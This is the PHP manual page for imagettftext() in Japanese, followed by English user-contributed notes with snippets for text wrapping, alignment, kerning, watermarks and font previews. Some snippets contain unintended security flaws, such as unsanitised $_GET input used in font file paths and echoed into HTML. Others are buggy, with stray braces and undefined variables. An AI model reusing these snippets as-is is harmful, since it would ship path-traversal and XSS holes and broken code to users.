テキスト文字列を UTF-8 エンコーディングで表したもの。

フォント内で 127 文字目以降の文字にアクセスするために、 (&#8364; のような) 十進数文字参照を含めることができます。 (&#xA9; のような) 十六進形式もサポートしています。 UTF-8 エンコーディングされた文字列を直接渡すことができます。

&copy; のような文字エンティティはサポートされません。 html_entity_decode() を使用して、 文字エンティティを UTF-8 文字列にすることを検討してください。

フォントでサポートされていない文字が文字列で使用されている場合、 その文字は白抜きの矩形に置き換えられます。

返り値

テキストの境界を 構成する 4 点を表す 8 個の要素を有する配列を返します。 返される点は左下、右下、右上、左上の順番となります。 点の座標は、角度によらず text に関する相対座標として表されます。 つまり、"左上"は、text を水平に見た場合の左上の隅を表します。 エラー時には false を返します。

例

例1 imagettftext() の例

この例は、400x30 ピクセルの白地に Arial フォントを用いて、黒字 (グレーの影付き) で "Testing..." と書かれた PNG を作成します。

<?php
// コンテントタイプを設定します
header('Content-Type: image/png');

// 画像を生成します
$im = imagecreatetruecolor(400, 30);

// いくつかの色を生成します
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 399, 29, $white);

// 描画する文字列
$text = 'Testing...';
// フォント自身のパスでパスを置き換えます
$font = 'arial.ttf';

// テキストに影を付けます
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);

// テキストを追加します
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);

// imagepng() を使用して imagejpeg() よりもクリアなテキストにします
imagepng($im);
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagettftext()

注意

注意: この関数は、PHP が FreeType サポート (--with-freetype-dir=DIR) を有効にしてコンパイルされている場合のみ使用可能です。

参考

  • imagettfbbox() - TypeType フォントを使用したテキストの bounding box を生成する
  • imagefttext() - FreeType 2 によるフォントを用いてイメージにテキストを描画する

User Contributed Notes

simbiat at bk dot ru 02-May-2015 02:15
Another way to wrap and center using wordwrap and learning the number of lines in the result of that wordwrap

<?php

$text="privet privet privet privet privet privet2 privet2 privet2 privet2 privet2 privet3";
$text=wordwrap($text, 35, "\n", TRUE);

//setting the image header in order to proper display the image
header("Content-Type: image/png");
//try to create an image
$im = @imagecreate(460, 215)
    or die("Cannot Initialize new GD image stream");
//set the background color of the image
$background_color = imagecolorallocate($im, 0x00, 0x00, 0x00);
//set the color for the text
$text_color = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
//adf the string to the image

$font = "verdana.ttf";
$font_size = 20;
$angle = 0;

$splittext = explode ( "\n" , $text );
$lines = count($splittext);

foreach ($splittext as $text) {
    $text_box = imagettfbbox($font_size,$angle,$font,$text);
    $text_width = abs(max($text_box[2], $text_box[4]));
    $text_height = abs(max($text_box[5], $text_box[7]));
    $x = (imagesx($im) - $text_width)/2;
    $y = ((imagesy($im) + $text_height)/2)-($lines-2)*$text_height;
    $lines=$lines-1;
    imagettftext($im, $font_size, $angle, $x, $y, $text_color, $font, $text);
}

imagepng($im);
imagedestroy($im);
?>
suyog at suyogdixit dot com 30-Oct-2013 10:46
For your general edification: The following drop-in function will place a block of fully justified text onto a GD image. It is a little CPU heavy, so I suggest caching the output rather than doing it on-the-fly.

Arguments:

$image - the GD handle of the target canvas
$size - text size
$angle - slope of text (does not work very well), leave at 0 for horizontal text
$left - no. of pixels from left to start block
$top - no. of pixels from top to start block
$color - handle for colour (imagecolorallocate result)
$font - path to .ttf font
$text - the text to wrap and justify
$max_width - the width of the text block within which the text should be wrapped and fully justified
$minspacing - the minimum number of pixels between words
$linespacing - a multiplier of line height (1 for normal spacing; 1.5 for line-and-a-half etc.)

eg.
$image = ImageCreateFromJPEG( "sample.jpg" );
$cor = imagecolorallocate($image, 0, 0, 0);
$font = 'arial.ttf';
$a = imagettftextjustified($image, 20, 0, 50, 50, $color, $font, "Shree", 500, $minspacing=3,$linespacing=1);
header('Content-type: image/jpeg');
imagejpeg($image,NULL,100);

function imagettftextjustified(&$image, $size, $angle, $left, $top, $color, $font, $text, $max_width, $minspacing=3,$linespacing=1)
{
$wordwidth = array();
$linewidth = array();
$linewordcount = array();
$largest_line_height = 0;
$lineno=0;
$words=explode(" ",$text);
$wln=0;
$linewidth[$lineno]=0;
$linewordcount[$lineno]=0;
foreach ($words as $word)
{
$dimensions = imagettfbbox($size, $angle, $font, $word);
$line_width = $dimensions[2] - $dimensions[0];
$line_height = $dimensions[1] - $dimensions[7];
if ($line_height>$largest_line_height) $largest_line_height=$line_height;
if (($linewidth[$lineno]+$line_width+$minspacing)>$max_width)
{
$lineno++;
$linewidth[$lineno]=0;
$linewordcount[$lineno]=0;
$wln=0;
}
$linewidth[$lineno]+=$line_width+$minspacing;
$wordwidth[$lineno][$wln]=$line_width;
$wordtext[$lineno][$wln]=$word;
$linewordcount[$lineno]++;
$wln++;
}
for ($ln=0;$ln<=$lineno;$ln++)
{
$slack=$max_width-$linewidth[$ln];
if (($linewordcount[$ln]>1)&&($ln!=$lineno)) $spacing=($slack/($linewordcount[$ln]-1));
else $spacing=$minspacing;
$x=0;
for ($w=0;$w<$linewordcount[$ln];$w++)
{
imagettftext($image, $size, $angle, $left + intval($x), $top + $largest_line_height + ($largest_line_height * $ln * $linespacing), $color, $font, $wordtext[$ln][$w]);
$x+=$wordwidth[$ln][$w]+$spacing+$minspacing;
}
}
return true;
}
John Conde 01-Nov-2010 10:17
If you want to create a paragraph you will need to break your text up into lines and then place each line individually one below the next.

Here's a basic example of how to do that:

<?php
// Basic font settings
$font ='./times.ttf';
$font_size = 15;
$font_color =  0x000000

// Text to be placed as a paragraph
$text = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer non nunc lectus. Curabitur hendrerit bibendum enim dignissim tempus. Suspendisse non ipsum auctor metus consectetur eleifend. Fusce cursus ullamcorper sem nec ultricies. Aliquam erat volutpat. Vivamus massa justo, pharetra et sodales quis, rhoncus in ligula. Integer dolor velit, ultrices in iaculis nec, viverra ut nunc.';

// Break it up into pieces 125 characters long
$lines = explode('|', wordwrap($text, 115, '|'));

// Starting Y position
$y = 513;

// Loop through the lines and place them on the image
foreach ($lines as $line)
{
    imagettftext($image, $font_size, 0, 50, $y, $font_color, $font, $line);

    // Increment Y so the next line is below the previous line
    $y += 23;
}

?>
JohnB 28-Feb-2010 11:58
Just in case you were--like me--unaware of this, in Windows, ttf fonts don't necessarily antialias at all font sizes. Arial appears to work at all sizes but Calibri, for example, only antialiases at a point size of 8 and then at all sizes 16 and up. Not only that but at fonts sizes like 10 and 12 characters don't print at the expected angle: the characters are all printed upright on an angled baseline.
web at evanreeves dot com 22-May-2009 12:50
I was having trouble trying to render non antialiased text using a pixel font. The tips about setting a negative value for the color are valid, but I was still having trouble with the text I was trying to render because it was black. I discovered that if I changed the imagecolorallocate() function from:

$color = imagecolorallocate($base, 0, 0, 0);

to

$color = imagecolorallocate($base, 1, 1, 1); (near black)

and then used the negative value for the color in imagettftext(), it would work properly. The difference is that my first implementation set $color = 0. Obviously, you can't have $color = -0, it made no difference. When I switched to (1,1,1) it became $color = 1 which I could take a negative value for.
philip at webdesco dot com 29-Apr-2009 05:51
Hi,
for the dummies (like myself) if you are having problems including your font file, prefix the file name with ./

On my development server the following worked fine
$myfont = "coolfont.ttf";

on my hosting server the only way i could get the font to work was as follows
$myfont = "./coolfont.ttf";

hope this helps someone out!
ben at spooty dot net 11-Mar-2009 06:40
Here's a simple function to wrap text going into an image. It'll wrap onto as many lines as it needs to, but $angle has to be zero. The $width parameter is the width of the image.

<?php
function wrap($fontSize, $angle, $fontFace, $string, $width){

    $ret = "";

    $arr = explode(' ', $string);

    foreach ( $arr as $word ){

        $teststring = $ret.' '.$word;
        $testbox = imagettfbbox($fontSize, $angle, $fontFace, $teststring);
        if ( $testbox[2] > $width ){
            $ret.=($ret==""?"":"\n").$word;
        } else {
            $ret.=($ret==""?"":' ').$word;
        }
    }

    return $ret;
}
?>
s.pynenburg _at_ gm ail dotcom 07-Aug-2008 07:31
I had an image generator where the user could position where they wanted the text to begin - however it kept going off the side of an image. So I made this basic function: it measures if the inputted text and x-position will cause the string to go off the edge, and if so, it will fit as much as it can on the first line, then go down to the next one.
Limitations:
-It only performs this once (i.e. it won't split into three lines)
-I'm pretty sure it won't work with angled text.

<?PHP

function imagettftextwrap($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr)
{
    $box = @imagettfbbox($size, 0, $font, $instr);
    $width = abs($box[4] - $box[0]);
    $height = abs($box[3] - $box[5]);
    $overlap = (($x_pos + $width) - imagesx($im));
    if($overlap > 0) //if the text doesn't fit on the image
    {
        $chars = str_split($instr);
        $str = "";
        $pstr = "";
        for($m=0; $m < sizeof($chars); $m++)
        {
            $bo = imagettfbbox($fsize1, 0, $font1, $str);
            $wid = abs($bo[4] - $bo[0]);
            if(($x_pos + $wid) < imagesx($im)) //add one char from the string as long as it's not overflowing
            {
                $pstr .= $chars[$m];
                $bo2 = imagettfbbox($fsize1, 0, $font1, $pstr);
                $wid2 = abs($bo2[4] - $bo2[0]);
                if(($x_pos + $wid2) < imagesx($im))
                {
                    $str .= $chars[$m];
                }
                else
                {
                    break;
                }
            }
            else
            {
                break;
            }
        }
        $restof = "";
        for($l=$m; $l < sizeof($chars); $l++)
        {
            $restof .= $chars[$l]; //add the rest of the string to a new line
        }
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $str); // print out the smaller line
        imagettftext($im, $size, $angle, 0, $y_pos + $height, $color, $font, $restof); //and the rest of it
    }
    else
    {
        imagettftext($im, $size, $angle, $x_pos, $y_pos, $color, $font, $instr); //otherwise just do normally
    }

}

?>
Valentijn de Pagter 16-May-2008 10:13
If you're looking for easy text alignment, you need to use the imagettfbbox() command. When given the correct parameters, it will return the boundaries of your to-be-made text field in an array, which will allow you to calculate the x and y coordinate that you need to use for centering or aligning your text.

A horizontal centering example:

<?php

$tb = imagettfbbox(17, 0, 'airlock.ttf', 'Hello world!');

?>

$tb would contain:

Array
(
    [0] => 0 // lower left X coordinate
    [1] => -1 // lower left Y coordinate
    [2] => 198 // lower right X coordinate
    [3] => -1 // lower right Y coordinate
    [4] => 198 // upper right X coordinate
    [5] => -20 // upper right Y coordinate
    [6] => 0 // upper left X coordinate
    [7] => -20 // upper left Y coordinate
)

For horizontal alignment, we need to substract the "text box's" width { $tb[2] or $tb[4] } from the image's width and then substract by two.

Saying you have a 200px wide image, you could do something like this:

<?php

$x = ceil((200 - $tb[2]) / 2); // lower left X coordinate for text
imagettftext($im, 17, 0, $x, $y, $tc, 'airlock.ttf', 'Hello world!'); // write text to image

?>

This'll give you perfect horizontal center alignment for your text, give or take 1 pixel. Have fun!
damititi at gmail dot com 22-Apr-2008 01:21
First of all, thanks sk89q for the func! it was exactly I was looking for.

I made a change. Depending on the letter, the text were incorrect vertical aligned.
I replace the line:
                $line_height = $dimensions[1] - $dimensions[7];
for the following:
                $line_height = $size+4;

No matter if mama or jeje is written, the vertical position will be the same.
llewellyntd at gmail dot com 12-Mar-2008 03:27
Hi All,

I struggled for moths to do a decent text warp with GD lib. Here is the code that I made use of:

<?php
//word wrap
$warpText = wordwrap($text, 30, "\n");
//display text
imagettftext($image, $fontSize, 0, $x, $y, $fontColor, $font, $warpText);
?>

Hope this helps somebody.

Cheers
m0r1arty at mail dot ru 13-Feb-2008 10:50
Sorry my English.
I have trouble with using imagettftext under Windows.
I can't used short name of fonts(example "arial","arialbd.ttf" etc). PHP say what not find this font.
Manipulation with environment GDFONTPATH lost.
This is my solution
<?php
$dir=opendir('./font/');//directory with fonts
if($dir)
    while($f=readdir($dir)){
        if(preg_match('/\.ttf$/',$f)){
            $font=explode('.',$f);
            define($font[0],realpath('./font/'.$f));
        }
    }
if($dir)
    closedir($dir);
?>
Directory "font" have two file: arial.ttf and arialbd.ttf
Now one can using constant font name by calling imagettftext:
imagettftext($img,12,0,25,28,$color,arialbd,'some text');
matt at mmkennedy dot net 17-Jan-2008 07:11
For anyone attempting to print black barcodes, and trying to turn of anti-aliasing, remember that -1 * [0,0,0] is 0, not -0.
denis at reddodo dot com 24-Dec-2007 06:05
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);
    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen  && strstr($text, ' ') !== FALSE) {
           $startPoint = strpos($text, ' ');
           $line[$i][] =substr($text,0,$startPoint);
           $text = trim(strstr($text, ' '));
        }
        $line[$i][] = trim($text);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
denis at reddodo dot com 24-Dec-2007 05:46
Small but very dangerous bug in function ttfWordWrappedText, written by waage, just try ttfWordWrappedText("aaaaa\naa",4) and your script will run into endless loop.
You can fix it with code below:
<?php
    function ttfWordWrappedText_fixed($text, $strlen = 8) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen && stristr($text, ' ') !== FALSE) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>
better solutions is to check input text for lines longer than needed wrap point.
dotpointer 09-Dec-2007 04:40
For those trying to disable the font smoothing or font cleartype:ing, take a look at the color parameter for this function. The correct word for what you're looking for is antialiasing.
Anonymous 16-Nov-2007 04:14
Just to comment on Sohel Taslims great function...
if anyone needs to add BACKGROUND TRANSPARENCY to this kind of function (which almost does everyone one would want already) then add

$bg_color = imagecolorat($im,1,1);
imagecolortransparent($im, $bg_color);

ABOVE the "if($L_R_C == 0){ //Justify Left"  line
waage 07-Nov-2007 07:31
I had some issues trying to get both word wrapping and new line detection but with some of the help from the comments below i got this. (thanks to jwe for the main part of the code here)

<?php
function ttfWordWrappedText($text, $strlen = 38) {
    $text = urldecode($text);
    $text = explode("\n", $text);

    $i = 0;
    foreach($text as $text)
    {
        while(strlen($text) > $strlen) {
           $startPoint = $strlen - 1;
           while(substr($text, $startPoint, 1) != " ") {
                $startPoint--;
           }
           $line[$i][] = trim(substr($text, 0, $startPoint));
           $text = substr($text, $startPoint);
        }
        $line[$i][] = trim($text);
        $i++;
    }

    return $line;
}
?>

This returns an array for each newline entered and subarray for each wordwrapped line to print.

ie.

Array
(
    [0] => Array
        (
            [0] => This is the first long line
            [1] => that i entered.
        )

    [1] => Array
        (
            [0] => And this is the new line after that.
        )
)
mitch at electricpulp dot com 20-Sep-2007 07:35
If you're having issues with fonts not working... (Could not find/open font) check your permissions on the folder/font files and make sure they're 775, especially if you've just pulled them from a windows box. Hope this helps!
Ole Clausen 11-Sep-2007 09:11
Comment to: Sohel Taslim (03-Aug-2007 06:19)

Thanks for the function which I have modified a bit. In the new version the lines have equal space between them (the g's in your example create bigger space between the lines) - set by the parameter '$Leading'.

I have used the for-loop for better performance and slimmed the rest a little  :)

    /**
     * @name                    : makeImageF
     *
     * Function for create image from text with selected font. Justify text in image (0-Left, 1-Right, 2-Center).
     *
     * @param String $text     : String to convert into the Image.
     * @param String $font     : Font name of the text. Kip font file in same folder.
     * @param int    $Justify  : Justify text in image (0-Left, 1-Right, 2-Center).
     * @param int    $Leading  : Space between lines.
     * @param int    $W        : Width of the Image.
     * @param int    $H        : Hight of the Image.
     * @param int    $X        : x-coordinate of the text into the image.
     * @param int    $Y        : y-coordinate of the text into the image.
     * @param int    $fsize    : Font size of text.
     * @param array  $color    : RGB color array for text color.
     * @param array  $bgcolor  : RGB color array for background.
     *
     */
    function imagettfJustifytext($text, $font="CENTURY.TTF", $Justify=2, $Leading=0, $W=0, $H=0, $X=0, $Y=0, $fsize=12, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

        $angle = 0;
        $_bx = imageTTFBbox($fsize,0,$font,$text);
        $s = split("[\n]+", $text);  // Array of lines
        $nL = count($s);  // Number of lines
        $W = ($W==0)?abs($_bx[2]-$_bx[0]):$W;    // If Width not initialized by programmer then it will detect and assign perfect width.
        $H = ($H==0)?abs($_bx[5]-$_bx[3])+($nL>1?($nL*$Leading):0):$H;    // If Height not initialized by programmer then it will detect and assign perfect height.

        $im = @imagecreate($W, $H)
            or die("Cannot Initialize new GD image stream");

        $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);  // RGB color background.
        $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]); // RGB color text.

        if ($Justify == 0){ //Justify Left
            imagettftext($im, $fsize, $angle, $X, $fsize, $text_color, $font, $text);
        } else {
            // Create alpha-nummeric string with all international characters - both upper- and lowercase
            $alpha = range("a", "z");
            $alpha = $alpha.strtoupper($alpha).range(0, 9);
            // Use the string to determine the height of a line
            $_b = imageTTFBbox($fsize,0,$font,$alpha);
            $_H = abs($_b[5]-$_b[3]);
            $__H=0;
            for ($i=0; $i<$nL; $i++) {
                $_b = imageTTFBbox($fsize,0,$font,$s[$i]);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                if ($Justify == 1) $_X = $W-$_W;  // Justify Right
                else $_X = abs($W/2)-abs($_W/2);  // Justify Center

                //Defining the Y coordinate.
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $s[$i]);
                $__H += $Leading;
            }
        }

        return $im;
    }
Borgso 27-Jul-2007 04:30
Right align out of "webmaster at higher-designs dot com" code
<?php
$color = imagecolorallocate($im, 0, 0, 0);
$font = 'visitor.ttf';
$fontsize = "12";
$fontangle = "0";
$imagewidth = imagesx($im);
$imageheight = imagesy($im);

$text = "My right align text";

$box = @imageTTFBbox($fontsize,$fontangle,$font,$text);
$textwidth = abs($box[4] - $box[0]);
$textheight = abs($box[5] - $box[1]);
$xcord = $imagewidth - ($textwidth)-2; // 2 = some space from right side.
$ycord = ($imageheight/2)+($textheight/2);

ImageTTFText ($im, $fontsize, $fontangle, $xcord, $ycord, $black, $font, $text);
?>
lassial at gmail dot com 10-May-2007 06:56
Roy van Arem suggested a neat code for listing TTFs on a machine. However, it has some problems (such as lower and upper case distinction of file extension and defective fonts) that I have corrected in the following script, which can be implemented as a single PHP script (name as you like):

<?php //make sure there are no blank lines above

$ffolder="/usr/local/bin/fonts"; //The directory where your fonts reside

if (empty($_GET['f']))
{
$folder=dir($ffolder); //open directory
echo "<HTML><BODY>\n";

while($font=$folder->read())
  if(stristr($font,'.ttf')) //only ttf fonts
        $fonts[]=$font;

$folder->close();

if (!empty($fonts))
        {
        echo "<table><tr><th colspan='2'>Fonts available in $ffolder</th></tr>"
        ."\n<tr><th>Name</th><th>Appereance</th>";
        sort($fonts);
        foreach ($fonts as $font)
                echo "<tr><td>$font</td><td> <IMG src='".$_SERVER['SCRIPT_NAME']
                        ."?f=$font'></td></tr>\n";
        }
else echo "No fonts found from $ffolder";
echo "\n</HTML></BODY>";
}

else
{
$im=@imagecreatetruecolor(200,30)
        or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);
imagettftext($im,14,0,5,25,$black, "$ffolder/".$_GET['f'] , $_GET['f']);

header("Content-type: image/png");
header('Content-Length: ' . strlen($im));

imagepng($im);
imagedestroy($im);
}
?>
ultraniblet at gmail dot com 05-May-2007 01:08
I have found the kerning (spacing between letters) pretty poor with GD - it's not up to your average designer's standards. Here are some ways to improve it:
- Place the letters one by one using their bounding box instead of using one string
- adjust with a $kerning value
- For small text, sample it down from a larger size to adjust in increments less than 1px

Eg:

<?PHP

$STRING = "NOTRE PHILOSOPHIE";

// ---- PRESETS
$FONT = "CantoriaMTStd-SemiBold.otf";
$FONT_SIZE = 10.5;
$WIDTH = 200;
$HEIGHT = 16;
$KERNING = 0;
$BASELINE = 12;
$BG_COLOR = array(
    "R"=>5,
    "G"=>45,
    "B"=>53
);
$TXT_COLOR = array(
    "R"=>188,
    "G"=>189,
    "B"=>0
);

// ---- CREATE CANVAS + PALETTE
$canvas = imageCreateTrueColor($WIDTH*4,$HEIGHT*4);

$bg_color = imageColorAllocate($canvas, $BG_COLOR["R"], $BG_COLOR["G"], $BG_COLOR["B"]);

$txt_color = imageColorAllocate($canvas, $TXT_COLOR["R"], $TXT_COLOR["G"], $TXT_COLOR["B"]);

imagefill ( $canvas, 0, 0, $bg_color );

// ---- DRAW

$array = str_split($STRING);
$hpos = 0;

for($i=0; $i<count($array); $i++)
{
    $bbox = imagettftext( $canvas, $FONT_SIZE*4, 0, $hpos, $BASELINE*4, $txt_color, $FONT, $array[$i] );

    $hpos = $bbox[2]+$KERNING;
}

// ---- SAMPLE DOWN & OUTPUT
$final = imageCreateTrueColor($WIDTH,$HEIGHT);

imageCopyResampled( $final, $canvas, 0,0,0,0, $WIDTH, $HEIGHT, $WIDTH*4, $HEIGHT*4 );

header('Content-type: image/png');

imagePNG($final);

imageDestroy($canvas);
imageDestroy($final);

?>
Roy van Arem 26-Nov-2006 08:01
If you want to display a list of fonts in a directory and see what they look like, you could do something like this:

<HTML><BODY>

<?php

$folder=dir("fonts/"); //The directory where your fonts reside

while($font=$folder->read())
  {

  if(stristr($font,'.ttf'))echo '<IMG SRC="img.php?'.substr($font,0,strpos($font,'.')).'">'; //only ttf fonts

  }

$folder->close();

?>

</BODY></HTML>

The file for 'img.php' should be something like this:

<?php

$font=$_SERVER["QUERY_STRING"];

header("Content-type: image/png");
$im=@imagecreatetruecolor(200,30)or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);

imagettftext($im,18,0,5,25,$black,"fonts/".$font,$font);

imagepng($im);
imagedestroy($im);

?>

Something similar I implemented at http://font.beginstart.com
ben at evolutioncomputing co uk 05-Nov-2006 01:25
A centralised text watermark - of  any length, that automatically sizes to about 70% of the width, and can be rotated to any angle.

<?php
/* Get image info */
$Image = @ImageCreateFromJPEG ("YourImage.jpg") ;
$sx = imagesx($Image) ;
$sy = imagesy($Image) ;
if ($WatermarkNeeded)
    {
    /* Set text info */
    $Text="Copyright Ben Clay" ;
    $Font="arial.ttf" ;
    $FontColor = ImageColorAllocate ($Image,255,255,255) ;
    $FontShadow = ImageColorAllocate ($Image,0,0,0) ;
    $Rotation = 30 ;
    /* Make a copy image */
    $OriginalImage = ImageCreateTrueColor($sx,$sy) ;
    ImageCopy ($OriginalImage,$Image,0,0,0,0,$sx,$sy) ;
    /* Iterate to get the size up */
    $FontSize=1 ;
    do
        {
        $FontSize *= 1.1 ;
        $Box = @ImageTTFBBox($FontSize,0,$Font,$Text);
        $TextWidth = abs($Box[4] - $Box[0]) ;
        $TextHeight = abs($Box[5] - $Box[1]) ;
        }
    while ($TextWidth < $sx*0.7) ;
    /*  Awkward maths to get the origin of the text in the right place */
    $x = $sx/2 - cos(deg2rad($Rotation))*$TextWidth/2 ;
    $y = $sy/2 + sin(deg2rad($Rotation))*$TextWidth/2 + cos(deg2rad($Rotation))*$TextHeight/2 ;
    /* Make shadow text first followed by solid text */
    ImageTTFText ($Image,$FontSize,$Rotation,$x+4,$y+4,$FontShadow,$Font,$Text);
    ImageTTFText ($Image,$FontSize,$Rotation,$x,$y,$FontColor,$Font,$Text);
    /* merge original image into version with text to show image through text */
    ImageCopyMerge ($Image,$OriginalImage,0,0,0,0,$sx,$sy,50) ;
    }

ImageJPEG ($Image) ;
?>
Tom Pike 04-Oct-2006 08:48
Ref: Craig at frostycoolslug dot com

"Using the negative of a color index has the effect of turning off antialiasing."

This is true, but only if the image has been created with imagecreate() (as opposed to imagecreatetruecolor())
Craig at frostycoolslug dot com 28-Sep-2006 07:54
This one caught me out a little bit as confusing, so in an attempt to help others..

"Using the negative of a color index has the effect of turning off antialiasing."

Simply put:

<?php

$textColour = ImageColorAllocate($image, 255, 255, 255);
ImageTTFText($image, 8, 0, 0, 0, -$textColour, $font, $text);

?>

Note the - (minus) before the $textColor in ImageTTFText, this creates the negative colour index, and switches off AA on text.
jwe 24-Jul-2006 11:48
I found this line a little confusing:

"May include decimal numeric character references (of the form: &#8364;) to access characters in a font beyond position 127."

I was using a font that had apostrophes and quotes stored in a non-standard position, and so they were being rendered as spaces by imagettftext.  This line seemed to suggest a solution, but it took a while to figure it out.

Turns out, a "decimal numeric character reference" is a decimal conversion of the hex value of the *unicode* position of the character you want.  For a while I was trying ASCII positions (I knew the ALT+ code for typing the character I needed in Windows).

In the Windows XP character map, the unicode positions are shown as U+2018 or U+201C, etc.  Ignore the U+ and convert that hex number to decimal, and then stick that in your text string with the &# on the front and ; on the end, and pass it to imagettftext.

--Julian
jwe 18-Jul-2006 08:48
Quick tip for anyone who is receiving text like in the example in this page (ie: through $_GET['text'] or something similar) and needs to format the text into multiple lines.  The trick is finding the spaces...

<?php
$text = $_GET['text'];
// for a maximum of 38 characters on a line...
while(strlen($text) > 38) {
   $startPoint = 37;
   // find a space to break the line on
   while(substr($text, $startPoint, 1) != " ") {
        $startPoint--;
   }
   $line[] = trim(substr($text, 0, $startPoint));
   $text = substr($text, $startPoint);
}
$line[] = trim($text);
?>

The result is an array called $line that contains all the lines of text you need to output in order.

The only tasks left are to determine the correct height of the image based on the font size you want to use.  Don't forget to leave some padding space for punctuation and descenders between lines (commas, g, q, p, y, etc).

imagettftext is unbelievably useful when you need to create header images using non-standard fonts.  Amazing.  Huge thanks to the devs.

--Julian
admin at sgssweb dot com 01-May-2006 04:08
Another way of the bellow. After creating a child class of GMIPluggableSet class, which should override two method: getExpression() and getVariables(), throw it to a instance of FontImageGenerator class.
For example, the code follows:

<?php

require_once 'package.fig.php';

class SampleFontImagePluggableSet
    extends GMIPluggableSet
{
    var $defaultVariables = array(
        "text" => null,
        "size" => null,
        "font" => null,
        "color" => "0x000000",
        "alpha" => "100",
        "padding" => 0,
        "width" => null,
        "height" => null,
        "align" => "left",
        "valign" => "middle",
        "bgcolor" => "0xffffff",
        "antialias" => 4
    );

    function SampleFontImagePluggableSet() {
        parent::GMIPluggableSet();
    }

    function getExpression() {
        return "size {width}, {height};".
               "autoresize none;".
               "type gif, 256, {color: {bgcolor}};".
               "padding {padding};".
               "color {color: {bgcolor}};".
               "fill;".
               "color {color: {color}, {alpha}};".
               "antialias {antialias};".
               "font {font}, {size};".
               "string {text}, 0, 0, {width}, {height}, {align}, {valign};";
    }

    function getVariables() {
        return array_merge($this->defaultVariables, $_GET);
    }
}

$pluggableSet = new SampleFontImagePluggableSet();
$fig = new FontImageGenerator();
$fig->setPluggableSet($pluggableSet);
$fig->execute();

?>

This output a image with the text defined in $_GET['text'], the font in $_GET['font'], the text color in $_GET['color'], the background in $_GET['bgcolor'], and so on.

The script file is available at: http://sgssweb.com/experiments/?file=PHPFontImageGenerator .
mats dot engstrom at gmail dot com 28-Mar-2006 02:23
I'll second the note from --colobri--.

Just adding --with-ttf and --with-freetype-dir=/usr/lib/ on the ./configure and then doing a "make; make install" is not enough.

I had to do a "make clean" and then a "make install" in order to get the FreeType-support enabled.

Here are my relevant ./configure lines:
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--with-freetype-dir=/usr/lib/ \
--with-jpeg-dir=/usr/lib/libjpeg.so.62 \
--enable-exif \
admin at phpru dot com 28-Feb-2006 09:52
On my conf: php5.1.2+apache 1.33
iconv() function works very well with all cyrillic encodings, so you needn't to write your function like win2uni
--Colibri-- 28-Jan-2006 12:53
If you have configured and compiled PHP with all the necessary command-line options and still get the error:

Fatal error: Call to undefined function imagettftext()

Try doing a "make clean"  before building the php apache module:

./configure [...]
make clean
make
make install

This may solve your problem (and hopefully keep you from wasting hours trying different compile options!)
Mer`Zikain 10-Jan-2006 12:41
I was looking for a way to add kerning to my text and finally just made this function to do it. Of course, if you're generating the size of the image based on the text you're putting in it, you'll have to figure out the new size to fit the new text width but I'm sure you can figure that out.

for($i=0;$i<strlen($text);$i++){
        // Get single character
    $value=substr($text,$i,1);
    if($pval){ // check for existing previous character
        list($lx,$ly,$rx,$ry) = imagettfbbox($fontsize,0,$font,$pval);
        $nxpos+=$rx+3;
    }else{
        $nxpos=0;
    }
        // Add the letter to the image
    imagettftext($im, $fontsize, 0, $nxpos, $ypos, $fontcolor, $font, $value);
    $pval=$value; // save current character for next loop
}
alexey at NOSPAMPLS dot ozerov dot de 31-Aug-2005 12:30
Notice that the path to the TrueType font has to be included in open_basedir list if open_basedir restriction is activated in php.ini.
gav-alex at bk dot ru 10-Aug-2005 09:05
Hi all!
When my hoster updated his php's libs at first minutes i've got the same problem as some of you.
Php couldn't find the path to true type fonts.
The solution in my case was to make the path look like this
<?php
imagettftext($im, 20, 0, 620, 260, $secondary_color, "./tahoma.ttf" , "NEWS");
?>
so as you can see i simply added "./"

another tip that i wanted to add here is how to write in RUssian on image using imagettftext
you simply have to change the function argument like this
<?php
imagettftext($im, 15, 0, 575, 300, $secondary_color, "./tahoma.ttf" , win2uni("some word in russian"));
 ?>
where win2uni is the function that converts win1251 to unicode. here is the code of it
<?php

  //  Windows 1251 -> Unicode
  function win2uni($s)
  {
    $s = convert_cyr_string($s,'w','i'); //  win1251 -> iso8859-5
    //  iso8859-5 -> unicode:
    for ($result='', $i=0; $i<strlen($s); $i++) {
      $charcode = ord($s[$i]);
      $result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
    }
    return $result;
  }
?>

That's all today! Thanks for your attention!
Alex
erik[at]phpcastle.com 04-Mar-2005 04:46
